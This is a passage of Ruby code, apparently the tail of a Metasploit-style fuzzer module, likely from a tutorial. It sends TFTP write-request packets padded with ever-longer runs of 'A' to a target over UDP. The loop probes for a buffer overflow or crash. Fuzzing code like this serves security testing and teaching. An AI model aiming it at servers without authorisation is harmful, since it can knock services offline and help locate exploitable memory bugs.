                       evil = "A" * count  # Set a number of "A"s equal to count
                       pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00"  # Define the payload
                       udp_sock.sendto(pkt, ip, datastore['RPORT'])  # Send the packet
                       print_status("Sending: #{evil}")  # Status update
                       resp = udp_sock.get(1)  # Capture the response
                       count += 10  # Increase count by 10, and loop
               end
       end
